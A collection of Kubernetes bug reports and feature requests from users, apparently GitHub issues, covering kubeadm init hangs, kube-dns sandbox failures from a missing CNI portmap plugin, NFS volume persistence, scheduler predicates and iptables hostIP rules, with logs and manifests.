hi, people\r \r sorry my english is bad.  so, i need help!!!\r \r i am using centos 7, e kuberletes v1.9 when execute command\r i was looking ---> https://www.linuxtechi.com/install-kubernetes-1-7-centos7-rhel7/\r \r kubeadm init not continue, stop \r \r  init  using kubernetes version: v1.9.3\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks.\r \t warning port-6443 : port 6443 is in use\r \t warning port-10250 : port 10250 is in use\r \t warning port-10251 : port 10251 is in use\r \t warning port-10252 : port 10252 is in use\r \t warning fileavailable--etc-kubernetes-manifests-kube-apiserver.yaml : /etc/kubernetes/manifests/kube-apiserver.yaml already exists\r \t warning fileavailable--etc-kubernetes-manifests-kube-controller-manager.yaml : /etc/kubernetes/manifests/kube-controller-manager.yaml already exists\r \t warning fileavailable--etc-kubernetes-manifests-kube-scheduler.yaml : /etc/kubernetes/manifests/kube-scheduler.yaml already exists\r \t warning fileavailable--etc-kubernetes-manifests-etcd.yaml : /etc/kubernetes/manifests/etcd.yaml already exists\r \t warning fileexisting-crictl : crictl not found in system path\r  certificates  using the existing ca certificate and key.\r  certificates  using the existing apiserver certificate and key.\r  certificates  using the existing apiserver-kubelet-client certificate and key.\r  certificates  using the existing sa key.\r  certificates  using the existing front-proxy-ca certificate and key.\r  certificates  using the existing front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ admin.conf\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ kubelet.conf\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ controller-manager.conf\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ .\r  init  this might take a minute or longer if the control plane images have to be pulled.\r <! ---------------here not to do nothing ----------------> i stop with ctrl+c\r \r i not using proxy, my /etc/resolv.conf using dns internal\r \r   what happened  : nothing, long time, so i stop with ctrl+c\r \r   what you expected to happen  : start master-cluster\r \r   how to reproduce it  as minimally and precisely as possible   : kubeadm init\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9\r - cloud provider or hardware configuration: i dont know speak\r - os  e.g. from /etc/os-release : lasted version\r - kernel  e.g.  uname -a  :\r - install tools: docker\r - others:\r

is this a bug report or feature request?  \r \r  \r   what happened:  \r \r the following check at the startup of kubelet always fails if the linux kernel is compiled without swap support  -> /proc/swaps does not exist .\r \r  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/cm/container_manager_linux.go \r    \r // check whether swap is enabled. the kubelet does not support running with swap enabled.\r swapdata, err := ioutil.readfile \ /proc/swaps\  \r if err != nil {\r \treturn nil, err\r }\r    \r the following code change may be possible here:\r \r    \r // check whether swap is enabled. the kubelet does not support running with swap enabled.\r swapdata, err := ioutil.readfile \ /proc/swaps\  \r if failswapon && err != nil {\r \treturn nil, err\r }\r

\r >  \r   what happened  :\r \r when i mark a node as unschedulable,\r \r    \r   kubectl get nodes\r name           status                     roles                          age       version\r 10.10.25.184   ready                      worker                         6h        v1.11.1+icp-ee\r 10.10.25.185   ready                      etcd,management,master,proxy   6h        v1.11.1+icp-ee\r 10.10.25.186   ready,schedulingdisabled   worker                         6h        v1.11.1+icp-ee\r    \r \r pod  from deployment  still is scheduled that unschedulable node.\r \r    \r   kubectl get pods -o wide\r name                                                 ready     status              restarts   age\r swift-sample-deployment-797c5bf856-qrvdr         1/1       running             0          1h        10.1.143.89    10.10.25.186\r    \r \r   what you expected to happen  :\r scheduler should choose another node, respect the unschedulable label on node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r predicate  checknodeunschedulable  never enabled. \r \r see code https://github.com/kubernetes/kubernetes/blob/v1.11.1/pkg/scheduler/algorithm/predicates/predicates.go l1504\r \r and i cannot enabled it via scheduling policy\r \r    \r     {\r       \ name\ : \ checkvolumebinding\ \r     },\r     {\r       \ name\ : \ checknodeunschedulable\ \r     }\r    \r \r scheduler just show error\r \r    \r i0810 08:43:14.237681       1 factory.go:977  registering predicate: checknodeunschedulable\r f0810 08:43:14.237733       1 plugins.go:229  invalid configuration: predicate type not found for checknodeunschedulable\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r \r   what happened  :\r i set kubeadm init config with repo of my own container repo  imagerepository: xxx  ,  kubeadm config images pull --config ./kubeadm-init.yaml  \r    \r repository                                            tag                 image id            created             size\r xxx/kube-proxy-amd64                v1.11.2             46a3cd725628        3 days ago          97.8 mb\r xxx/kube-apiserver-amd64            v1.11.2             821507941e9c        3 days ago          187 mb\r xxx/kube-controller-manager-amd64   v1.11.2             38521457c799        3 days ago          155 mb\r xxx/kube-scheduler-amd64            v1.11.2             37a1403e6c1a        3 days ago          56.8 mb\r xxx/coredns                         1.1.3               b3b94275d97c        2 months ago        45.6 mb\r xxx/etcd-amd64                      3.2.18              b8df3b177be2        4 months ago        219 mb\r xxx/pause                           3.1                 da86e6ba6ca1        7 months ago        742 kb\r    \r and i found kubelet was still getting k8s.gcr.io/pause:3.1\r \r    \r aug 11 22:26:19 developing kubelet 69938 : i0811 22:26:19.735632   69938 server.go:460  event v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ kube-scheduler-developing\ , uid:\ 42276b81f46917e6c8b69150b4019aa3\ , apiversion:\ v1\ , resourceversion:\ \ , fieldpath:\ \ } : type: 'warning' reason: 'failedcreatepodsandbox' failed create pod sandbox: rpc error: code = unknown desc = failed pulling image \ k8s.gcr.io/pause:3.1\ : error response from daemon: get https://k8s.gcr.io/v1/_ping: dial tcp 108.177.97.82:443: i/o timeout\r    \r \r   what you expected to happen  :\r \r i hope kubeadm could overwrite default kubelet sandbox container image  kubelet flag  --pod-infra-container-image \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

hi we currently solved the problem by returning back to docker version 10  1.10   any help on the issue will be appreciated  thanks

i run my ci project.but i always failed here:\r \r /home/jenkins/workspace/paas-v2r1-beethoven-distributed-e2e-new/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:685\r   testrecreatetimeoutautorollback should auto-rollback when timeout  beethoven   beforeeach \r \r   expected error:\r       < errors.errorstring | 0xc8200d8070>: {\r           s: \ timed out waiting for the condition\ ,\r       }\r       timed out waiting for the condition\r   not to have occurred\r \r   /home/jenkins/workspace/paas-v2r1-beethoven-distributed-e2e-new/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:197\r \r i think the problem root in aftereach,they don't clear serviceaccount as expect.if this is a bug,i am glad to fix it.thx.

\r $ kubectl get secrets\r default-token-2zf4d\r \r $ kubectl edit ns/default sa/default secret/default-token-2zf4d\r \r apiversion: v1\r items:\r - apiversion: v1\r   kind: namespace\r   metadata:\r     annotations:\r     creationtimestamp: 2016-11-15t16:43:38z\r     name: default\r     resourceversion: \ 719\ \r     selflink: /api/v1/namespaces/default\r     uid: a86ca1bc-ab52-11e6-828d-acbc32c1ca87\r   spec:\r     finalizers:\r     - kubernetes\r   status:\r     phase: active\r - apiversion: v1\r   kind: serviceaccount\r   metadata:\r     creationtimestamp: 2016-11-15t16:43:41z\r     name: default\r     namespace: default\r     resourceversion: \ 401\ \r     selflink: /api/v1/namespaces/default/serviceaccounts/default\r     uid: aa709507-ab52-11e6-828d-acbc32c1ca87\r   secrets:\r   - name: default-token-2zf4d\r - apiversion: v1\r   data:\r     ca.crt: ls0t...snip...lqo=\r     namespace: zgvmyxvsda==\r    \r \r note that the secret object is truncated  missing token from the data map, and missing metadata and kind entirely . modifying and saving the secret portion submits correctly  so the metadata is somehow still known to kubectl , but the missing portion of the data map is removed  so that part is not known \r \r cc @smarterclayton @kargakis @fabianofranz

this is a feature request to add a kubernetes volume plugin for rook  www.github.com/rook/rook . rook is an open source, cloud-native storage system that provides block, filesystem and object storage to cloud-native apps. i am proposing to add a rook volume plugin to allow users to seamlessly consume storages on their kubernetes app. \r \r the plugin would be very thin as all storage related requests  provision, create, attach, detach  would be delegated from the plugin to rook. rook will have all the logic to handle storage requests.\r

i'm trying to mount mongo \ /data\  directory on to a nfs volume in my kubernetes master machine for persisting mongo data.i see the volume is mounted successfully but i can see only \ configdb\  and \ db\  dir but not their subdirectories. and i see the data is not even persisting in the volume. when i kubectl describe my pv it shows \ nfs  an nfs mount that lasts the lifetime of a pod \  why is that so?\r \r i see in kubernetes docs stating that:\r \r \ an nfs volume allows an existing nfs  network file system  share to be mounted into your pod. unlike emptydir, which is erased when a pod is removed, the contents of an nfs volume are preserved and the volume is merely unmounted. this means that an nfs volume can be pre-populated with data, and that data can be “handed off” between pods. nfs can be mounted by multiple writers simultaneously.\ \r \r i'm using kubernetes version 1.8.3.\r \r mongo-deployment.yml\r \r    \r \r apiversion: apps/v1beta2\r kind: deployment\r metadata:\r   name: mongo\r   labels:\r     name: mongo\r     app: mongo\r spec:\r   replicas: 3\r   selector:\r     matchlabels:\r       name: mongo\r       app: mongo\r   template:\r     metadata:\r       name: mongo\r       labels:\r         name: mongo\r         app: mongo\r     spec:\r       containers:\r         - name: mongo\r           image: mongo:3.4.9\r           ports:\r             - name: mongo\r               containerport: 27017\r               protocol: tcp\r           volumemounts:\r             - name: mongovol\r               mountpath: \ /data\ \r       volumes:\r       - name: mongovol\r         persistentvolumeclaim:\r           claimname: mongo-pvc\r    \r mongo-pv.yml\r    \r \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: mongo-pv\r   labels:\r     type: nfs\r spec:\r   capacity:\r     storage: 5gi\r   accessmodes:\r     - readwritemany\r   persistentvolumereclaimpolicy: retain\r   storageclassname: slow\r   mountoptions:\r     - hard\r     - nfsvers=4.1\r   nfs:\r     path: \ /mongodata\ \r     server: 172.20.33.81\r    \r mongo-pvc.yml\r \r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: mongo-pvc\r spec:\r   accessmodes:\r     - readwritemany\r   resources:\r     requests:\r       storage: 3gi\r   storageclassname: slow\r   selector:\r     matchlabels:\r       type: nfs\r    \r the way i mounted my nfs share on my kubernetes master machine:\r \r 1 apt-get install nfs-kernel-server 2 mkdir /mongodata 3 chown nobody:nogroup -r /mongodata 4 vi /etc/exports 5  added the line \ /mongodata   rw,sync,all_squash,no_subtree_check \  6 exportfs -ra 7 service nfs-kernel-server restart 8 showmount -e ----> shows the share\r \r i logged into the bash of my pod and i see the directory is mounted correctly but data is not persisting in my nfs server kubernetes master machine . please help me see what i am doing wrong here.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r cluster initialized with kubeadm, kube-dns pods hang in containercreating status. with failing pod sandbox creation.\r \r   what you expected to happen  :\r \r kube-dns pods running\r \r   how to reproduce it  as minimally and precisely as possible   :\r created cluster via kubeadm:\r \r sudo kubeadm init --pod-network-cidr=10.244.0.0/16 --token-ttl=0 --token=bd11ac.54147b1b3fd9620d --apiserver-cert-extra-sans=kube,kube.internal\r \r kubectl taint nodes kube node-role.kubernetes.io/master-\r \r with flannel network plugin:\r \r kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/documentation/kube-flannel.yml\r \r checked also with kube-router with same problem:\r \r kubectl apply -f https://raw.githubusercontent.com/cloudnativelabs/kube-router/master/daemonset/kubeadm-kuberouter.yaml\r \r   anything else we need to know?  :\r \r    \r namespace     name                           ready     status              restarts   age       ip            node\r kube-system   etcd-kube                      1/1       running             2          48m       10.10.10.12   kube\r kube-system   kube-apiserver-kube            1/1       running             2          48m       10.10.10.12   kube\r kube-system   kube-controller-manager-kube   1/1       running             2          49m       10.10.10.12   kube\r kube-system   kube-dns-545bc4bfd4-bskll      0/3       containercreating   0          49m       <none>        kube\r kube-system   kube-flannel-ds-h9mcw          1/1       running             2          43m       10.10.10.12   kube\r kube-system   kube-proxy-f75q9               1/1       running             2          49m       10.10.10.12   kube\r kube-system   kube-scheduler-kube            1/1       running             2          49m       10.10.10.12   kube\r    \r    \r name:           kube-dns-545bc4bfd4-bskll\r namespace:      kube-system\r node:           kube/10.10.10.12\r start time:     wed, 06 dec 2017 23:58:55 +0300\r labels:         k8s-app=kube-dns\r                 pod-template-hash=1016706980\r annotations:    kubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ kube-dns-545bc4bfd4\ ,\ uid\ :\ 69d564df-dac7-11e7-9ac1-00155d02...\r status:         pending\r ip:\r created by:     replicaset/kube-dns-545bc4bfd4\r controlled by:  replicaset/kube-dns-545bc4bfd4\r containers:\r   kubedns:\r     container id:\r     image:         gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.5\r     image id:\r     ports:         10053/udp, 10053/tcp, 10055/tcp\r     args:\r       --domain=cluster.local.\r       --dns-port=10053\r       --config-dir=/kube-dns-config\r       --v=2\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     limits:\r       memory:  170mi\r     requests:\r       cpu:      100m\r       memory:   70mi\r     liveness:   http-get http://:10054/healthcheck/kubedns delay=60s timeout=5s period=10s  success=1  failure=5\r     readiness:  http-get http://:8081/readiness delay=3s timeout=5s period=10s  success=1  failure=3\r     environment:\r       prometheus_port:  10055\r     mounts:\r       /kube-dns-config from kube-dns-config  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-jsxv8  ro \r   dnsmasq:\r     container id:\r     image:         gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.5\r     image id:\r     ports:         53/udp, 53/tcp\r     args:\r       -v=2\r       -logtostderr\r       -configdir=/etc/k8s/dns/dnsmasq-nanny\r       -restartdnsmasq=true\r       --\r       -k\r       --cache-size=1000\r       --log-facility=-\r       --server=/cluster.local/127.0.0.1 10053\r       --server=/in-addr.arpa/127.0.0.1 10053\r       --server=/ip6.arpa/127.0.0.1 10053\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     requests:\r       cpu:        150m\r       memory:     20mi\r     liveness:     http-get http://:10054/healthcheck/dnsmasq delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:  <none>\r     mounts:\r       /etc/k8s/dns/dnsmasq-nanny from kube-dns-config  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-jsxv8  ro \r   sidecar:\r     container id:\r     image:         gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.5\r     image id:\r     port:          10054/tcp\r     args:\r       --v=2\r       --logtostderr\r       --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,a\r       --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,a\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     requests:\r       cpu:        10m\r       memory:     20mi\r     liveness:     http-get http://:10054/metrics delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:  <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from kube-dns-token-jsxv8  ro \r conditions:\r   type           status\r   initialized    true\r   ready          false\r   podscheduled   true\r volumes:\r   kube-dns-config:\r     type:      configmap  a volume populated by a configmap \r     name:      kube-dns\r     optional:  true\r   kube-dns-token-jsxv8:\r     type:        secret  a volume populated by a secret \r     secretname:  kube-dns-token-jsxv8\r     optional:    false\r qos class:       burstable\r node-selectors:  <none>\r tolerations:     criticaladdonsonly\r                  node-role.kubernetes.io/master:noschedule\r                  node.alpha.kubernetes.io/notready:noexecute for 300s\r                  node.alpha.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason                  age                 from               message\r   ----     ------                  ----                ----               -------\r   warning  failedscheduling        42m  x22 over 47m   default-scheduler  no nodes are available that match all of the predicates: nodenotready  1 .\r   normal   scheduled               41m                 default-scheduler  successfully assigned kube-dns-545bc4bfd4-bskll to kube\r   normal   successfulmountvolume   41m                 kubelet, kube      mountvolume.setup succeeded for volume \ kube-dns-config\ \r   normal   successfulmountvolume   41m                 kubelet, kube      mountvolume.setup succeeded for volume \ kube-dns-token-jsxv8\ \r   warning  failedcreatepodsandbox  41m                 kubelet, kube      failed create pod sandbox.\r   warning  failedsync              39m  x11 over 41m   kubelet, kube      error syncing pod\r   normal   sandboxchanged          36m  x25 over 41m   kubelet, kube      pod sandbox changed, it will be killed and re-created.\r   normal   successfulmountvolume   30m                 kubelet, kube      mountvolume.setup succeeded for volume \ kube-dns-config\ \r   normal   successfulmountvolume   30m                 kubelet, kube      mountvolume.setup succeeded for volume \ kube-dns-token-jsxv8\ \r   warning  failedsync              28m  x11 over 30m   kubelet, kube      error syncing pod\r   normal   sandboxchanged          25m  x25 over 30m   kubelet, kube      pod sandbox changed, it will be killed and re-created.\r   normal   successfulmountvolume   24m                 kubelet, kube      mountvolume.setup succeeded for volume \ kube-dns-config\ \r   normal   successfulmountvolume   24m                 kubelet, kube      mountvolume.setup succeeded for volume \ kube-dns-token-jsxv8\ \r   warning  failedsync              22m  x11 over 24m   kubelet, kube      error syncing pod\r   normal   sandboxchanged          4m  x94 over 24m    kubelet, kube      pod sandbox changed, it will be killed and re-created.\r   normal   successfulmountvolume   3m                  kubelet, kube      mountvolume.setup succeeded for volume \ kube-dns-config\ \r   normal   successfulmountvolume   3m                  kubelet, kube      mountvolume.setup succeeded for volume \ kube-dns-token-jsxv8\ \r   warning  failedsync              1m  x11 over 3m     kubelet, kube      error syncing pod\r   normal   sandboxchanged          48s  x12 over 3m    kubelet, kube      pod sandbox changed, it will be killed and re-created.\r    \r \r \r    \r dec 07 10:30:44 kube kubelet 1209 : w1207 10:30:44.077574    1209 docker_sandbox.go:343  failed to read pod ip from plugin/docker: networkplugin cni failed on the status hook for pod \ kube-dns-545bc4bfd4-bskll_kube-system\ : cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 5aaa783222b550d34d697af24c6447a888e242bf45ea745acd5e845933b01ea6\ \r dec 07 10:30:44 kube kubelet 1209 : w1207 10:30:44.078511    1209 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 5aaa783222b550d34d697af24c6447a888e242bf45ea745acd5e845933b01ea6\ \r dec 07 10:30:44 kube kubelet 1209 : e1207 10:30:44.078791    1209 cni.go:319  error deleting network: failed to find plugin \ portmap\  in path  /opt/flannel/bin /opt/cni/bin \r dec 07 10:30:44 kube kubelet 1209 : e1207 10:30:44.079367    1209 remote_runtime.go:115  stoppodsandbox \ 5aaa783222b550d34d697af24c6447a888e242bf45ea745acd5e845933b01ea6\  from runtime service failed: rpc error: code = unknown desc = networkplugin cni failed to teardown pod \ kube-dns-545bc4bfd4-bskll_kube-system\  network: failed to find plugin \ portmap\  in path  /opt/flannel/bin /opt/cni/bin \r dec 07 10:30:44 kube kubelet 1209 : e1207 10:30:44.079564    1209 kuberuntime_manager.go:781  failed to stop sandbox {\ docker\  \ 5aaa783222b550d34d697af24c6447a888e242bf45ea745acd5e845933b01ea6\ }\r dec 07 10:30:44 kube kubelet 1209 : e1207 10:30:44.079741    1209 kuberuntime_manager.go:581  killpodwithsyncresult failed: failed to \ killpodsandbox\  for \ 69d619f2-dac7-11e7-9ac1-00155d02520b\  with killpodsandboxerror: \ rpc error: code = unknown desc = networkplugin cni failed to teardown pod \\\ kube-dns-545bc4bfd4-bskll_kube-system\\\  network: failed to find plugin \\\ portmap\\\  in path  /opt/flannel/bin /opt/cni/bin \ \r dec 07 10:30:44 kube kubelet 1209 : e1207 10:30:44.079912    1209 pod_workers.go:182  error syncing pod 69d619f2-dac7-11e7-9ac1-00155d02520b  \ kube-dns-545bc4bfd4-bskll_kube-system 69d619f2-dac7-11e7-9ac1-00155d02520b \  , skipping: failed to \ killpodsandbox\  for \ 69d619f2-dac7-11e7-9ac1-00155d02520b\  with killpodsandboxerror: \ rpc error: code = unknown desc = networkplugin cni failed to teardown pod \\\ kube-dns-545bc4bfd4-bskll_kube-system\\\  network: failed to find plugin \\\ portmap\\\  in path  /opt/flannel/bin /opt/cni/bin \ \r dec 07 10:30:51 kube kubelet 1209 : w1207 10:30:51.086671    1209 helpers.go:847  eviction manager: no observation found for eviction signal allocatablenodefs.available\r dec 07 10:30:56 kube kubelet 1209 : w1207 10:30:56.077148    1209 docker_sandbox.go:343  failed to read pod ip from plugin/docker: networkplugin cni failed on the status hook for pod \ kube-dns-545bc4bfd4-bskll_kube-system\ : cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 5aaa783222b550d34d697af24c6447a888e242bf45ea745acd5e845933b01ea6\ \r dec 07 10:30:56 kube kubelet 1209 : w1207 10:30:56.077596    1209 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 5aaa783222b550d34d697af24c6447a888e242bf45ea745acd5e845933b01ea6\ \r dec 07 10:30:56 kube kubelet 1209 : e1207 10:30:56.077911    1209 cni.go:319  error deleting network: failed to find plugin \ portmap\  in path  /opt/flannel/bin /opt/cni/bin \r dec 07 10:30:56 kube kubelet 1209 : e1207 10:30:56.078520    1209 remote_runtime.go:115  stoppodsandbox \ 5aaa783222b550d34d697af24c6447a888e242bf45ea745acd5e845933b01ea6\  from runtime service failed: rpc error: code = unknown desc = networkplugin cni failed to teardown pod \ kube-dns-545bc4bfd4-bskll_kube-system\  network: failed to find plugin \ portmap\  in path  /opt/flannel/bin /opt/cni/bin \r dec 07 10:30:56 kube kubelet 1209 : e1207 10:30:56.078545    1209 kuberuntime_manager.go:781  failed to stop sandbox {\ docker\  \ 5aaa783222b550d34d697af24c6447a888e242bf45ea745acd5e845933b01ea6\ }\r dec 07 10:30:56 kube kubelet 1209 : e1207 10:30:56.078573    1209 kuberuntime_manager.go:581  killpodwithsyncresult failed: failed to \ killpodsandbox\  for \ 69d619f2-dac7-11e7-9ac1-00155d02520b\  with killpodsandboxerror: \ rpc error: code = unknown desc = networkplugin cni failed to teardown pod \\\ kube-dns-545bc4bfd4-bskll_kube-system\\\  network: failed to find plugin \\\ portmap\\\  in path  /opt/flannel/bin /opt/cni/bin \ \r dec 07 10:30:56 kube kubelet 1209 : e1207 10:30:56.078590    1209 pod_workers.go:182  error syncing pod 69d619f2-dac7-11e7-9ac1-00155d02520b  \ kube-dns-545bc4bfd4-bskll_kube-system 69d619f2-dac7-11e7-9ac1-00155d02520b \  , skipping: failed to \ killpodsandbox\  for \ 69d619f2-dac7-11e7-9ac1-00155d02520b\  with killpodsandboxerror: \ rpc error: code = unknown desc = networkplugin cni failed to teardown pod \\\ kube-dns-545bc4bfd4-bskll_kube-system\\\  network: failed to find plugin \\\ portmap\\\  in path  /opt/flannel/bin /opt/cni/bin \ \r dec 07 10:31:01 kube kubelet 1209 : w1207 10:31:01.096087    1209 helpers.go:847  eviction manager: no observation found for eviction signal allocatablenodefs.available\r dec 07 10:31:09 kube kubelet 1209 : w1207 10:31:09.077450    1209 docker_sandbox.go:343  failed to read pod ip from plugin/docker: networkplugin cni failed on the status hook for pod \ kube-dns-545bc4bfd4-bskll_kube-system\ : cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 5aaa783222b550d34d697af24c6447a888e242bf45ea745acd5e845933b01ea6\ \r dec 07 10:31:09 kube kubelet 1209 : w1207 10:31:09.078299    1209 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 5aaa783222b550d34d697af24c6447a888e242bf45ea745acd5e845933b01ea6\ \r dec 07 10:31:09 kube kubelet 1209 : e1207 10:31:09.078626    1209 cni.go:319  error deleting network: failed to find plugin \ portmap\  in path  /opt/flannel/bin /opt/cni/bin \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r \r vm hosted on hyper-v with 4 cores, 10240mb ram configuration\r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 17.04  zesty zapus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 17.04\ \r version_id=\ 17.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=zesty\r ubuntu_codename=zesty\r    \r - kernel  e.g.  uname -a  :\r    \r linux kube 4.10.0-40-generic  44-ubuntu smp thu nov 9 14:49:09 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r \r  kubeadm 1.8.4 \r \r - others:\r    \r docker version\r \r client:\r  version:      17.09.0-ce\r  api version:  1.32\r  go version:   go1.8.3\r  git commit:   afdb6d4\r  built:        tue sep 26 22:42:45 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      17.09.0-ce\r  api version:  1.32  minimum version 1.12 \r  go version:   go1.8.3\r  git commit:   afdb6d4\r  built:        tue sep 26 22:41:24 2017\r  os/arch:      linux/amd64\r  experimental: false\r

 \r   what happened  :\r \r ginkgo-e2e.sh when running with gce requires you to use the same logic as kube-up.sh\r \r   what you expected to happen  :\r \r ginkgo-e2e.sh would support other installers besides kube-up.sh, when you provide the node instance-groups\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run\r \r    \r  ./hack/ginkgo-e2e.sh --ginkgo.flakeattempts=2 --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ |\\ hpa\\ |dashboard|services. functioning. nodeport --report-dir=/workspace/_artifacts --disable-log-dump=true: exit status\r    \r \r without using kube-up.sh\r \r \r   anything else we need to know?  :\r \r see https://github.com/kubernetes/test-infra/issues/3330\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when specifying  hostip: $ip  for a pod, the resulting ip tables rule does not contain  -d $ip  as expected.\r \r   what you expected to happen  :\r \r that the generated iptables rule has  -d $ip  alongside  --dport $port \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a deployment:  kubectl run my-nginx --image=nginx --port=80 \r \r use  kubectl edit deployment my-nginx  to set\r \r         ports:\r         - containerport: 80\r           hostip: 192.168.1.101\r           hostport: 18080\r           protocol: tcp\r \r check with  iptables -t nat -s  and see:\r \r     -a cni-dn-80ae20ae0de6904d5f4b4 -p tcp -m tcp --dport 18080 -j dnat --to-destination 10.233.64.15:80\r \r there is no  -d 192.168.1.101  as i would expect.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.5\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts  xenial xerus \r - kernel  e.g.  uname -a  : 4.4.0-116-generic\r - install tools: kubespray\r - others: tested with both flannel and calico networking\r

